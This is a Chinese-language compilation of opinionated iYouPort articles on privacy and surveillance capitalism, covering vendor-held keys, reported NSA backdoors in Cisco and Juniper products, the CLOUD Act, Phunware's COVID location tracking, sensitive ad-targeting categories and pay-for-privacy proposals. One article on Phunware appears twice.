如果其他人持有密钥，您的数据并非真正的私密或安全。也许你可以祈祷一下，苹果公司会竭尽全力避免他们的设备落在攻击者手里，但与谷歌和其他专有供应商一样，这些锁同时也会阻止你。这些设备严格限制以安全性名义在其上运行的应用程序，但这种限制也很显然意味着每个人都必须获得供应商的安装软件许可。

更重要的是，这些锁意味着你没有自由或控制权。很多人已经对那些预装的而无法删除的软件习以为常了，以至于不会去想它们有什么不正常。

这不仅仅是关于自由的假设性论点。**Apple** 决定掌握其硬件的所有密钥，这对自由和人权产生了现实世界的影响。Alex Stamos（斯坦福大学教授）给出了这些锁可以产生的对现实世界影响的一个很好的例子 —— 就是中国：

> 我同意蒂姆库克今天在他的隐私演讲中所说的大部分内容，这就是为什么看到媒体们对苹果公司在中国的所作所为轻描淡写时你应该感到悲伤。*Apple* 使用基于硬件的 *DRM* 来阻止中国用户安装 *VPN* 和 *E2E* 消息应用程序，这是能帮人们避免普遍审查和监视的几乎唯一办法。苹果将 *iCloud* 数据转移到一家中国控股的合资企业，再把密钥交给政府。

自由、安全和隐私的关系

自由、安全和隐私是相互关联的。大多数人都会认识到隐私是自由的重要组成部分，已经有很多研究表明，受到监视会改变一个人的行为；隐私和安全之间的联系也非常强大，中国人都明白这意味着什么。

安全性通常用于保护隐私，但如果没有自由，攻击者就可以更容易地破坏安全性以利用隐私。由于最终用户无法轻松检查专有固件，因此可以利用该固件的攻击者就可以植入一个多年未见的后门。以下是

NSA 利用这点的两个具体例子，借此他们可以在不知情的情况下窥探目标：

- 思科产品中的 **NSA** 后门： 国家安全局拦截向海外发售的思科产品，在其中添加后门，然后重新包装。目标是使用那些后门来窥探通过该硬件的其他受保护的网络流量。最近就在2018年初，思科路由器中又发现了五个新的后门，但究竟是故意的还是偶然的没人知道。因为没有第二个 Snowden 了。在这里看到详情：NSA 如何进行供应链攻击
- 瞻博网络产品中的 **NSA** 后门：如果您使用的是瞻博网络而不是思科，那么事实证明您并未能幸免。Juniper 防火墙产品中后门高度怀疑就是 NSA 干的。一个后门与椭圆曲线伪随机数生成器有关，允许攻击者解密 VPN 流量；第二个后门允许攻击者绕过 SSH 和 Telnet 的身份验证—— 如果您想要破坏使用这些产品的人的隐私，这两者都非常方便。

除了 Cisco，Juniper 和 NSA 之外还有很多其他示例，如果你经常看新闻就会知道，由于心怀不满的管理员、开发人员错误或付费间谍软件，后门或默认凭据出现在专有固件中的现象。事实上，使用专有软件解决这个问题都很难（如果不是不可能的话），因为最终用户无法验证他们从供应商处获得的软件是否与用于构建软件的源代码相匹配，更不用说实际审计了。

自由，安全和隐私必须都在你自己口袋里

自由，安全和隐私之间相互作用的另一个很好的例子可以通过比较两个操作系统来找到，几乎每个人都随身携带着它们：iOS 和 Android。让我们按照1 ~ 10的等级评价这两种产品的自由度、安全性和隐私状况。

就 iOS 而言，可以肯定地说，普遍的共识是 iOS 的安全性较高，因为它通常可以抵御政府级别的攻击；谈到隐私问题，我们实际上只有 Apple 的营销和其他公开声明，但是因为它们似乎没有直接从用户数据中获利（尽管应用程序仍然可以）我们可以稍微减少它们；然而，当涉及到自由时，显然，他们围绕应用程序开发的围墙花园、以及他们对自己的代码的严密保密，必须给予他们低评级，因此最终结果是：

- 安全：9
- 隐私权：6
- 自由：1

再来看看 Android。虽然我确信一些 Android 粉丝可能不同意，但安全社区的普遍共识似乎是 Android 不像 iOS 那样安全；谈到自由，如果你深入挖掘 Android，你会发现一个粘性的Linux中心以及谷歌从自由软件社区使用的许多其他基本组件，以便外部各方能够从源代码构建他们自己的精简版 Android；虽然您可以选择在 Google Play 商店之外加载应用程序，但您在那里找到的大多数应用程序以及几乎所有 Google 自己的应用程序都是专有的，因此他们的自由评级是混合的；说到隐私，安全社区的很多人认为应该将它评定为很低：

- 安全：7
- 自由：5
- 隐私权：1

从长远来看，Librem 系列产品有可能解决这些问题。

为了保护您自己的安全和隐私，您就需要自由和控制。如果没有自由，安全和隐私就需要对供应商的充分信任。然而，供应商并不总是将您的最大利益放在心上; 事实上，在许多情况下，供应商都有财务激励来侵犯您的利益，特别是在涉及隐私方面。问题是，使用专有软件很难拿到供应商值不值得信任的证据。

使用自由软件产品，您可以控制自己的信任。您还可以验证您的自由软件供应商是否值得信赖。通过可重现的构建，您可以下载源代码并自行验证。

最终，自由导致更强的安全性和隐私性。这三个概念不仅相互关联，而且相互依存。随着您增加自由度，您可以提高安全性和隐私性，当降低自由度时，安全性和隐私就会被置于风险之中。

真正的隐私取决于自由

隐私是一项人权，但您不应该为了隐私而付出自由的代价。我们相信自由对于安全和隐私至关重要，任何旨在保护您隐私的解决方案都必须首先保护您的自由。

这意味着避免软件解决方案限制您可以使用自己的设备执行的操作，并构建确保您能控制密钥的安全解决方案。如果没有控制自己的硬件和软件的自由，即使它是以“安全”为名义的，也完全不足以保护您的权利。

原文

如何能够轻松绕开宪法的制约 - iYouPort

监视资本主义的世界

这正是5眼、9眼、14眼联盟存在的最重要目的之一

九个人权和公民自由组织致函美国司法部，反对美国和英国之间的情报共享协议，该协议将使英国执法部门能够广泛获取美国科技公司持有的数据。

CLOUD 法案允许总统与外国政府之间达成所谓的执行协议。这些协议其中第一个就是与英国签订的，将授权外国执法机构命令美国科技公司在没有手令的情况下获取个人隐私数据。

虽然 CLOUD 法案要求外国警察不能“故意针对美国人或美国居民”，但法律并未阻止外国警察机构监听美国公民或居民的通信。如果目标人是英国公民，其和美国公民之间的任何通信都将被移交给伦敦警方。

该法案还规定，外国警察机构可以在没有逮捕令的情况下获得美国公民的通信，然后可以与美国执法部门共享。以这种方式获得的数据不能用作美国法院的证据，因为其收集过程违反第四修正案的保护。但是，地方、州或联邦执法机构都可以在获得手令后重新获得通信—这是一种有争议的执法行为，称为“平行施工”。

- 关联：我们曾经在“透明度革命”系列文章中介绍过这种方法，它能成功绕开民主国家的法律限制。这是该方法第一次被证明，而远非首次被使用—— 简单说它正是 5眼、9眼、14眼联盟存在的目的之一，详细《最佳庇护所和跨国维稳—— 透明度革命的未来》

NEW LAW COULD GIVE U.K. UNCONSTITUTIONAL ACCESS TO AMERICANS’ PERSONAL DATA, HUMAN RIGHTS GROUPS WARN: NINE HUMAN RIGHTS and civil liberties organizations sent a letter to the U.S. Justice Department today objecting to a potential agreement between the United States and the United Kingdom that

would give British law enforcement broad access to data held by U.S. technology companies.

原文

帮助特朗普连任的监视跟踪公司现在要利用冠状病毒赚钱 - iyouport

监视资本主义的世界

【2020年4月14日存档】冠状病毒大流行导致了全球范围内的监视技术惊人崛起，虽然目前为止并没有足够证据表明侵入性监视对防疫的作用究竟是什么 ……

一家旨在帮助唐纳德·特朗普（Donald Trump）赢得2020年总统大选的手机追踪公司最近告诉投资者，他们已经确定了一个有希望的 *新获利机会*：全球冠状病毒大流行。

Phunware 是众多隐秘的广告技术公司的一员，这些公司可以帮助任何监视者追踪并锁定用户，以 “利用用户的日常数字足迹来实现盈利” —— 监视资本主义， Phunware 自己的网站上就是这么写的。

上图中的书在这里下载：https://t.me/iyouport/6559

⚠ 通过在应用程序中嵌入 Phunware 代码，开发人员就可以轻松地收集用户所有行踪及其所从事的一切活动的详细记录，从而创建丰富的行为历史，并出售给任付得起钱的人。

去年，Intercept 报道，Phunware 已与特朗普竞选经理 Brad Parscale 创立的政治咨询公司 American Made Media Consultants 签约，该公司是该竞选活动的高效数字媒体分支。

去年6月，Phunware 宣布已任命 Brittany Kaiser 担任公司董事会成员 —— 请注意，此人是剑桥分析公司（Cambridge Analytica）的前高管，该公司臭名昭著地滥用了对 Facebook 个人数据的访问权限，以帮助特朗普在2016年获胜。关于剑桥分析公司：

- 《心理操纵的秘密：”行为经济学”＋PR＝？》

尽管 Phunware 尚未向特朗普的竞选工作组公开其提供的服务的详细信息，但是，其网站和新闻报道均充分记录了该公司拥有的令人印象

深刻的且具有高度侵入性的监视技术能力。

“除了识别出令人垂涎的选民之外，这些移动数据还可以用于以极高的准确性确定广告定位参数，” Phunware 在自己的网站上写道，该部分文字甚至将个人行为数据的买卖与**1849**年的淘金热等同起来。

华尔街日报于2019年10月的报道称，Phunware 帮助了一名民主党政治策略家瞄准了目标选民，这些公民的电话被追踪到了**2017**年的反特朗普游行 Women’s March。

该公司的隐私权政策授予公司极大的权力可将任何个人数据用于其认为必要的任何目的，无论需要追溯多长时间。

Phunware 没有回复不断重复的置评请求。

现在，正好在特朗普屡次破坏公共卫生准则并对Covid-19的普遍拙劣回应的同时，Phunware 希望 *利用* 实施社会隔离等大流行措施的必要性。

3月30日，Phunware 联合创始人兼首席执行官 Alan Knitowski 致电投资者，他解释说，该公司 “正在积极寻求新的商机 …… 包括远程医疗、在总统大选年内的虚拟集会以进行政治宣传、远程工作优化和社会疏离政策的执行，为地方、州和联邦一级的智能城市和政府组织提供服务。 ”

Phunware 首席运营官 Randall Crowder 在电话会议上详细阐述了该公司的 “移动数字门户”，它可以实现从动态的社会疏离政策实施到与电子健康记录（EHR）、远程保健、远程医疗和设施管理平台的无缝集成。 ”

Crowder 表示，该公司还处于有利条件，可以从本地的封锁制度中获利：“我们先进的移动校园体验技术将帮助雇主更好地远程管理员工 ……”。

在 Phunware 投资者致电后两天发出的一次采访中，首席执行官 Knitowski 解释说，该公司可以利用地理围栏技术 —— 用于瞄准潜在选民的相同方法 —— 来 “实施社会疏离政策”。

地理围栏允许应用程序 —— 以及兜售它们的公司 —— 在地图上绘制虚拟边界，并通过结合使用蜂窝塔和 GPS ping 来跟踪手机的位置，从而监视进出的所有人员。

现在，地理围栏技术已经在公共卫生领域中找到了新的粉丝，现在在印度和香港等地，围绕被隔离患者的病房都绘制了这种虚拟围栏。如果有人想要突破隔离并越过地理围栏，当局将收到警报。

上图中这本书在这里下载：https://t.me/iyouport/6639

尽管智能手机本身就是贴身间谍这件事如今应该尽人皆知了，但仍不清楚这些位置跟踪记录是否足够精确以用于医疗目的：路透社上月报道，以色列国防部长 Naftali Bennett 说："对手机进行跟踪和地理定位的数据在寻找最可能的 [冠状病毒] 携带者方面不再有效。"

确实，尽管"社会疏离"准则要求人与人之间应保持6英尺的距离，以防止冠状病毒传播，但是，智能手机的GPS功能只能精确到16英尺左右 —— 如果目标人在建筑物内或建筑物周围，效果会更糟。

通过查找附近的已知Wi-Fi热点可以提高跟踪的准确性，Phunware 在2019年的一项专利中声称已开发了一种算法，该算法可以使用通常不准确的手机信号塔提供高精度的跟踪。

但是，根据隐私研究人员 Wolfie Christl 的说法，我们有理由对整个行业对位置准确性的声称表示怀疑：这些公司以前从未真正关心过精度。

Christl 解释说："在很多情况下，在用户不知情的情况下从智能手机应用程序中收集的位置数据不仅存在缺陷和偏见，甚至是欺诈性的。"

"声称拥有每个人的运动数据的移动数据经纪人，大多是在推销他们自己的能力。他们使用不可靠的数据源并寻求捷径。"

正如美国公民自由联盟的 Jennifer Granick 通过电子邮件解释的那样，广告技术公司也从来不必应付高额赌注或真正的问责制，使从侵入式营销到流行病学的转向充满了麻烦。

Granick说："您不能出于任何原因而将信息重新利用。例如，传统上，广告公司不必担心准确性。就算他们搞砸了也不过是导致有人看到了自己根本不感兴趣的广告而已。但是，当我们谈论公共卫生问题、潜在的执法和就业问题时，这些公司的错误可能是灾难性的。"

从收集用于政治广告的数据、到加强监控的 **Phunware** 的工作重心转移，反映了广告技术行业 —— 监视资本主义 —— 的广泛趋势。

上个月华尔街日报报道，白宫冠状病毒特别工作组已经与谷歌，Facebook 和 亚马逊等科技巨头以及许多初创公司会面，以开发针对冠状病毒大流行的技术跟踪解决方案。

“如果我们要利用商业技术挽救生命，我们如何制定政策框架才能使我们不像韩国、中国或以色列那样？” Camber Systems 公司首席执行官 Ian Allen 告诉华尔街日报。坎伯系统公司是一家总部位于华盛顿特区的新兴公司，致力于开发位置跟踪服务。

总部位于纽约的数据分析公司 Verint Systems 同样宣布，该公司将出售新的解决方案，以使用地理定位技术 “检测和警告非法聚集的人群”。

Verint 网站上发布的产品指南显示了警察机构如何使用监视技术来加强对公民的行动限制。

备忘录中提到，“没有足够的警力在每个城市的每个街角部署”；但是，通过移动电话进行地理位置定位就可用于对违反隔离措施的人员“产生相关警报并进行流行病学调查”。

疾病预防控制中心是 Verint 现有的客户之一。

“我们的某些执法机构负责 Covid-19 的执法，保护公共安全以强制执行这些检疫非常重要”， Verint 首席执行官 Dan Bodner 在3月31日与投资者的电话会议上说。

他补充说，该公司的 “面部识别” 产品可以帮助 “确保人们在家里得到基本的隔离，并符合要求。” ○

注：IYP将在未来制作一份全球性的综合报告，关于冠状病毒流行如何导致了反乌托邦噩梦的大规模兴起。这不是美国、中国、以色列、俄罗斯或任何一个国家的独特性，而是全球的，于是它必须被详细分析和思考。

LOCATION-TRACKING FIRM HELPING TRUMP GET REELECTED NOW WANTS TO CASH IN ON CORONAVIRUS

原文

帮助特朗普连任的监视跟踪公司现在要利用冠状病毒赚钱 - iYouPort

监视资本主义的世界

冠状病毒大流行导致了全球范围内的监视技术惊人崛起，虽然目前为止并没有足够证据表明侵入性监视对防疫的作用究竟是什么 ……

「图」

「图」

一家旨在帮助唐纳德·特朗普（Donald Trump）赢得2020年总统大选的手机追踪公司最近告诉投资者，他们已经确定了一个有希望的 *新获利机会*：全球冠状病毒大流行。

Phunware 是众多隐秘的广告技术公司的一员，这些公司可以帮助任何监视者追踪并锁定用户，以 “利用用户的日常数字足迹来实现盈利” —— 监视资本主义， Phunware 自己的网站上就是这么写的。

「图」

「图」

上图中的书在这里下载：https://t.me/iyouport/6559

⚠ 通过在应用程序中嵌入 Phunware 代码，开发人员就可以轻松地收集用户所有行踪及其所从事的一切活动的详细记录，从而创建丰富的行为历史，并出售给任付得起钱的人。

去年，Intercept 报道，Phunware 已与特朗普竞选经理 Brad Parscale 创立的政治咨询公司 American Made Media Consultants 签约，该公司是该竞选活动的高效数字媒体分支。

去年6月，Phunware 宣布已任命 Brittany Kaiser 担任公司董事会成

员 —— 请注意，此人是剑桥分析公司（Cambridge Analytica）的前高管，该公司臭名昭著地滥用了对 Facebook 个人数据的访问权限，以帮助特朗普在2016年获胜。关于剑桥分析公司：

- 《心理操纵的秘密：”行为经济学”＋PR＝？》

尽管 Phunware 尚未向特朗普的竞选工作组公开其提供的服务的详细信息，但是，其网站和新闻报道均充分记录了该公司拥有的令人印象深刻的且具有高度侵入性的监视技术能力。

“除了识别出令人垂涎的选民之外，这些移动数据还可以用于以极高的准确性确定广告定位参数，” Phunware 在自己的网站上写道，该部分文字甚至将个人行为数据的买卖与**1849**年的淘金热等同起来。

华尔街日报于2019年10月的报道称，Phunware 帮助了一名民主党政治策略家瞄准了目标选民，这些公民的电话被追踪到了**2017**年的反特朗普游行 Women’s March。

该公司的隐私权政策授予公司极大的权力可将任何个人数据用于其认为必要的任何目的，无论需要追溯多长时间。

Phunware 没有回复不断重复的置评请求。

现在，正好在特朗普屡次破坏公共卫生准则并对Covid-19的普遍拙劣回应的同时，Phunware 希望 *利用* 实施社会隔离等大流行措施的必要性。

3月30日，Phunware 联合创始人兼首席执行官 Alan Knitowski 致电投资者，他解释说，该公司 “正在积极寻求新的商机 …… 包括远程医疗、在总统大选年内的虚拟集会以进行政治宣传、远程工作优化和社会疏离政策的执行，为地方、州和联邦一级的智能城市和政府组织提供服务。”

Phunware 首席运营官 Randall Crowder 在电话会议上详细阐述了该公司的 “移动数字门户”，它可以实现从动态的社会疏离政策实施到与电子健康记录（EHR）、远程保健、远程医疗和设施管理平台的无缝集成。 ”

Crowder 表示，该公司还处于有利条件，可以从本地的封锁制度中获利：“我们先进的移动校园体验技术将帮助雇主更好地远程管理员工 ……”。

在 Phunware 投资者致电后两天发出的一次采访中，首席执行官 Knitowski 解释说，该公司可以利用地理围栏技术 —— 用于瞄准潜在选民的相同方法 —— 来 “实施社会疏离政策”。

地理围栏允许应用程序 —— 以及兜售它们的公司 —— 在地图上绘制虚拟边界，并通过结合使用蜂窝塔和 GPS ping 来跟踪手机的位置，从而监视进出的所有人员。

现在，地理围栏技术已经在公共卫生领域中找到了新的粉丝，现在在印度和香港等地，围绕被隔离患者的病房都绘制了这种虚拟围栏。如果有人想要突破隔离并越过地理围栏，当局将收到警报。

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/6639

尽管智能手机本身就是贴身间谍这件事如今应该尽人皆知了，但仍不清楚这些位置跟踪记录是否足够精确以用于医疗目的：路透社上月报道，以色列国防部长 Naftali Bennett 说：“对手机进行跟踪和地理定位的数据在寻找最可能的 [冠状病毒] 携带者方面不再有效。”

确实，尽管 “社会疏离” 准则要求人与人之间应保持6英尺的距离，以防止冠状病毒传播，但是，智能手机的GPS功能只能精确到16英尺左右 —— 如果目标人在建筑物内或建筑物周围，效果会更糟。

通过查找附近的已知Wi-Fi热点可以提高跟踪的准确性，Phunware 在2019年的一项专利中"声称"已开发了一种算法，该算法可以使用通常不准确的手机信号塔提供高精度的跟踪。

但是，根据隐私研究人员 Wolfie Christl 的说法，我们有理由对整个行业对位置准确性的声称表示怀疑：这些公司以前从未真正关心过精度。

Christl 解释说：“在很多情况下，在用户不知情的情况下从智能手机应用程序中收集的位置数据不仅存在缺陷和偏见，甚至是欺诈性的。”

“声称拥有每个人的运动数据的移动数据经纪人，大多是在推销他们自己的能力。他们使用不可靠的数据源并寻求捷径。”

正如美国公民自由联盟的 Jennifer Granick 通过电子邮件解释的那样，广告技术公司也从来不必应付高额赌注或真正的问责制，使从侵入式营销到流行病学的转向充满了麻烦。

Granick说："您不能出于任何原因而将信息重新利用。例如，传统上，广告公司不必担心准确性。就算他们搞砸了也不过是导致有人看到了自己根本不感兴趣的广告而已。但是，当我们谈论公共卫生问题、潜在的执法和就业问题时，这些公司的错误可能是灾难性的。"

从收集用于政治广告的数据、到加强监控的 **Phunware** 的工作重心转移，反映了广告技术行业 —— 监视资本主义 —— 的广泛趋势。

上个月华尔街日报报道，白宫冠状病毒特别工作组已经与谷歌，Facebook 和 亚马逊等科技巨头以及许多初创公司会面，以开发针对冠状病毒大流行的技术跟踪解决方案。

"如果我们要利用商业技术挽救生命，我们如何制定政策框架才能使我们不像韩国、中国或以色列那样？" Camber Systems 公司首席执行官 Ian Allen 告诉华尔街日报。坎伯系统公司是一家总部位于华盛顿特区的新兴公司，致力于开发位置跟踪服务。

总部位于纽约的数据分析公司 Verint Systems 同样宣布，该公司将出售新的解决方案，以使用地理定位技术 "检测和警告非法聚集的人群"。

Verint 网站上发布的产品指南显示了警察机构如何使用监视技术来加强对公民的行动限制。

备忘录中提到，"没有足够的警力在每个城市的每个街角部署"；但是，通过移动电话进行地理位置定位就可用于对违反隔离措施的人员"产生相关警报并进行流行病学调查"。

疾病预防控制中心是 Verint 现有的客户之一。

"我们的某些执法机构负责 Covid-19 的执法，保护公共安全以强制执行这些检疫非常重要"， Verint 首席执行官 Dan Bodner 在3月31日与投资者的电话会议上说。

他补充说，该公司的 "面部识别" 产品可以帮助 "确保人们在家里得到基本的隔离，并符合要求。" ○

注：IYP将在未来制作一份全球性的综合报告，关于冠状病毒流行如

何导致了反乌托邦噩梦的大规模兴起。这不是美国、中国、以色列、俄罗斯或任何一个国家的独特性，而是全球的，于是它必须被详细分析和思考。

LOCATION-TRACKING FIRM HELPING TRUMP GET REELECTED NOW WANTS TO CASH IN ON CORONAVIRUS

原文

广告并不是烦人这么简单 - iYouPort

监视资本主义的世界

如果你不小心怀孕了，或者你吃伟哥才能上床，这些小秘密你希望被全球人都知道吗？不仅是知道，而是被不断地转售，以实时竞价的方式 ...

欧洲隐私权倡导者指出，在线行为广告背后复杂的招标过程威胁着消费者的隐私。为了在网页上放置广告，公司就肯定要广泛传播他们对访问该页面的用户的了解，包括有关人们观看、收听或阅读的内容类型等潜在的敏感数据。我们演示过如何通过浏览历史记录挖掘一个人的心内全景图，详见《⚠ 浏览历史记录曝光你的内心全景图：OSINT 开源调查演示》

最近波兰、英国和爱尔兰监管机构提交的新文件称，在将广告与广告位匹配的过程中处理个人数据的方式不符合欧盟的一般数据保护条例。

虽然多数匹配类别都是良性的，如“特斯拉电机”或“小工具”，但是，有些类别非常敏感。例如，互动广告局（一个建立行业规范的贸易组织）商定的标签清单包括乱伦/虐待、同性恋生活、仇恨内容、药物滥用、和艾滋病等类别。

以 Brave 为首的倡导团体指出，随着时间的推移，这些标签可以链接到用户身份并通过cookie和其他跟踪用户网络浏览的技术整合到配置文件中。“关于你所阅读和在线观看的标签长期被储存着，”Brave 首席政策官 Johnny Ryan 援引英国智库新经济基金会12月发表的一份报告称，行业公司每天164次分享关于英国互联网用户的个人资料。隐私倡导团体表示，这些档案然后由互联网广告生态系统中的玩家继续传递，而不考虑 GDPR 严格的隐私规则。

在发给监管机构的电子邮件中，代表 Brave 的律师 Ravi Naik 表示，IAB 的一些指导原则还“建议关于设备的人类用户个人识别码”、“用户”属性等。IAB 的清单还包括针对特殊需求人群，如自闭症、尿失禁和不孕症的标签，以及伊斯兰教、印度教和其他宗教的宗教类别。

Google 也维护了一个类似的列表，为了把你卖掉。它是 Google Authorized Buyer 计划的一部分，该计划以前的名字叫 DoubleClick Ad Exchange（也称为AdX）。谷歌的类别不包括性虐待，但是，它们确实包括滥用药物历史，包括类固醇和提高性功能的药物，以及药物治疗史和饮酒史。其他类别还包括身体和面部毛发状态、性传播疾病、男性阳痿、和右翼和左翼政治。

发行商可以选择退出 Google 的名为“发行商垂直广告”的列表，该列表会根据网页上的关键字自动生成，用于内容相关广告，根据您所在的网页而非个人信息进行定位。它还用于帮助广告客户避免某些内容，例如，如果一家酒类公司不想向孕妇展示广告，或者广告客户想要避开任何政治网站。在实时竞价中，Google 使用这些类别向投标人提供广告空间拍卖的指示。

Ryan 和另外两人最初在9月份对英国和爱尔兰的在线广告系统提出了投诉，指控该流程可能会暴露用户的位置和跟踪标识符，这些标识符可用于构建长期被保存的配置文件。投诉称，这些配置文件还可以与离线数据相结合，例如用户的收入范围、社交媒体影响力、性别、政治倾向和性取向。

为了演示竞价请求如何包含类别，Ryan 在 Google 博客上为开发人员指出了一个竞价请求的样本，其中甚至显示了该人的经纬度、邮政编码、设备详细信息和跟踪ID。

一月份，法国隐私监管机构已经因违反 GDPR 而罚款谷歌5700万美元。

Privacy Groups Claim Online Ads Can Target Abuse Victims. Ryan pointed to a sample bid request on Google’s blog for developers, which showed the person’s latitude and longitude, zip code, device details, and tracking ID.

原文

强盗经济学：被他们抢走的东西现在居然要你掏钱买回来 - iYouPort

监视资本主义的世界

被他们抢走的东西现在居然要你掏钱买回来，这是谁策划的强盗经济学？

隐私是一项基本人权，这是无需质疑的。

但是，目前至少有两项提案：一项仍可修改的全州法律、和一项尚未引入的联邦法案草案—— 其中都包括一个不受欢迎的交易：让人们掏钱买隐私。

这个框架有时被称为“付费隐私”，这是完全错误的。 它将隐私作为了一种商品，有手段和资源的人可以轻松购买。 但是朝这个方向迈进可能会进一步加深社会阶层之间的分离。 “富人”可以轻松获得避免被窥探的特权。 但是穷人只能放弃这一权利。

虽然此框架之前至少已被一家大型电信公司所采用，而且目前还没有法律阻止其实施，但网络安全和更广泛的技术行业的人必须制止这种做法。 在隐私付费成为法律之前，作为基本人权的隐私应成为行业惯例。

去年，欧盟实施了世界上最全面的数据隐私法之一。 通用数据保护法规（GDPR）规定了公司如何收集、存储、共享和使用欧盟公民的数据。 该法律激励了各国的效仿，意大利（欧盟成员国）对 Facebook 发出了监管罚款，巴西通过了新的数据保护法案，智利修改其宪法以包括数据保护权。

美国也不例外。 在过去的一年里，俄勒冈州的参议员 Ron Wyden，佛罗里达州的 Marco Rubio，明尼苏达州的 Amy Klobuchar 和 Brian Schatz，以及其他14位参议员共同提出了单独的联邦法案来规范公司如何收集、使用、并保护美国人的数据。

更多分析详见《为什么隐私保护法规并没能起到作用？》

参议员卢比奥提出的法案要求联邦贸易委员会制定自己的一套规则，国会将在两年后进行投票。Sen.Klobuchar 提出的法案要求公司写出明确的服务协议条款，并在72小时内向用户发送有关隐私侵权的通知。参议员 Schatz 提出的法案引入了这样一种观点，即公司应该通过提供“合理”的安全级别来“关注”消费者数据。

但是，参议员 Wyden 提出的法案，“消费者数据保护法案”，很引人注目，因为它没有充分理由。这是一种危险的隐私付费规定。

根据这个“消费者数据保护法”，要求用户同意其服务的公司可以向用户收取费用，如果这些用户选择退出在线跟踪的话。

如果该法案被通过，以下就是它的工作方式：

假设一个用户，Alice，对公司收集、分享并将她的个人信息出售给第三方的行为感觉不舒服，那么，首先，Alice 将在联邦贸易委员会的“Do Not Track”网站注册，在那里她会选择退出在线跟踪。然后，与 Alice 交互的在线公司将需要检查 Alice 的“不跟踪”状态。

如果一家公司发现 Alice 已选择退出在线跟踪，则该公司被禁止与第三方分享她的信息，几乎完全依赖用户数据的公司—包括 Facebook，亚马逊，谷歌，优步，Fitbit，Spotify 和 Tinder—需要注意用户的个人决策。然而，这些公司可能会给 Alice 一个困难的选择：她可以继续使用他们的服务，无需被在线跟踪，但是，她必须交钱。

这代表了隐私的字面价格。

电子前沿基金会高级职员律师 Adam Schwartz 表示，他的组织强烈反对付费隐私制度。

付费隐私计划有两种类型：可以要求个人支付更多钱以购买隐私，或者用户可以支付更少（折扣）的金额并减少隐私。Schwartz 表示，这两种选择都激励人们不要行使自己的隐私权，无论是因为成本太高，还是因为货币收益过于吸引人。

并且这两种选择都会伤害低收入社区。

“穷人更有可能被迫放弃他们的隐私，因为他们需要钱。我们可能正在进入一个符合当前经济状况的’隐私富人’和’隐私穷人’的世界。对于低收入人群来说，以高生活成本生活在加利福尼亚州已经足够困难了。这只会进一步加剧他们的生活压力。“

不幸的是，隐私付费条款也包括在加州消费者隐私法案中，该法案于去年已经被通过了。尽管该法律包含旨在防止此类行为的“非歧视”条款，但它还包括一项豁免，允许公司向用户提供仍然收集和出售个人信息的“奖励”。

EFF律师写道：“例如，如果一项服务需要花钱，并且该服务的用户拒绝同意收集和销售他们的数据，那么该服务可能会向他们收取的费用超过向同意的用户收取的费用。”

付费隐私的警报不是理论上的—它已经在过去实施，并且没有任何法律阻止公司再次这样做。

2015年，如果用户同意跟踪互联网活动，AT＆T 将以每月30美元的折扣提供宽带服务。根据AT＆T自己的说法，该互联网活动包括“您访问的网页、您在每个网页上花费的时间、您看到和关注的链接或广告、以及您输入的任何搜索字词”。

大多数时候，为隐私付费并不总是那么明显，相反，它发生在幕后，并不是让用户越来越富有—而是只肥了那些公司。

凭借监视资本主义，Google-parent Alphabet 仅在2018年的最后一个季度就实现了326亿美元的广告收入。在同一季度，Twitter 的广告收入达到了7.91亿美元。

对于谷歌，最清晰的隐私选择是 DuckDuckGo。以隐私为中心的服务不会跟踪用户的搜索，也不会构建其用户的个性化配置文件以提供独特的搜索结果。其社区管理者 Daniel Davis 说，即使没有用户数据货币化，DuckDuckGo 自2014年以来也一直盈利。“在 DuckDuckGo，我们已经能够使用基于上下文（个人搜索查询）而不是个性化的广告来实现这一目标。”

Davis 表示，DuckDuckGo 的决定是由长期以来的观点引导的，即 隐私是一项基本权利。“谈到网络世界，”Davis 说，“事情应该没有什么不同，默认情况下隐私应该是常态。”

现在是其他公司效仿的时候了。

用户不应该为保护自己的基本人权付出代价，因此，行业必须更加努力地开发不会使隐私成为奢侈品的商业模式。

希望其他公司能听到这些话，因为隐私付费是否被编入法律并不重要—— 它永远不应被视为行业惯例。

Will pay-for-privacy be the new normal? Control of one's own data should not come at a price, so it's essential that [the] industry works harder to develop business models that don't make privacy a luxury

原文

影响的焦虑 - iYouPort

监视资本主义的世界

广告最危险的因素在于心理操纵-剑桥分析公司的操纵案例就是一种现代最为流行的广告模式。它已经是一种强大的社会文化，在这种文化下，作为民主基石的辩论是否已经变质？

不论是 Facebook 推动的精神控制，还是 Cambridge Analytica 操纵选民的大众心里图谱，目前都在公共舆论中慢慢淡化，但与其相关的另一种焦虑却更加深刻了。

随着文化普遍变得越来越饱和，人们开始关注商业洗脑的阴谋，广告中的心理操纵伎俩使得人类的决策变得无关紧要。Vance Packard 在1957年出版的“隐藏的说服者”一书中就揭示了广告业当时迅速使用的激励研究和深度心理学，这本古老的书警告说：“人们最隐秘的欲望、需求和驱动力是如何被探测到的，以便找到并利用他们最深刻的弱点……

“一旦这些弱点被孤立起来，心理钩子就会被塑造并变成诱饵，被放置在商品化的海洋中，以骗取那些不够警惕的潜在目标。“

1972年，Wilson Bryan Key 的“潜意识诱惑”一书进一步采用了这一前提，警告：广告中隐藏的信息可以操纵消费者的思想。 Facebook 丑闻就是延续了这一传统，用算法和数据分析取代了险恶的深度心理学，继续充当毁灭你的代理人。

揭示这些技术阴谋的愤怒基本没什么实际效果，大众一直很难准确判断广告是否存在以及如何运作的；正相反，愤怒本身似乎掩盖了面对社会心理控制的更深层次的矛盾心理。

社交媒体使得我们所有人的自我被各种无所不在的社会影响所塑造，使它们更加明显，因为我们的生活变得更加深层次化了。20世纪那种作为对大众消费主义和极权主义之平衡的存在主义自我意志的个人观念变得越来越难以为继；广告既加剧又缓和了这种损失；它表明，毕

竟，我们是“需要被纠正的人”，即使它将我们归结为人口统计数据并试图以标准化的幻想向我们兜售他们认可的理念。

通过算法操作和广告定位来提升社交媒体思想控制的幽灵，可能会产生与此类评论家所希望的完全相反的效果。剑桥分析公司丑闻在某种程度上是一个极具政治价值的持续广告，因为有针对性的广告确实有效，**Facebook** 这类平台的确是一个人们可以被塑造而不是被说服的空间。

对于广告商而言，这仅仅是确定了他们对 Facebook 的实用性的认识，并且可能有助于平台证明它应该收取更多费用；对于 Facebook 用户而言，这一丑闻可以提醒人们网站的情感操控能力：Facebook 广告知道我们想要什么，以及如何激发我们的欲望。

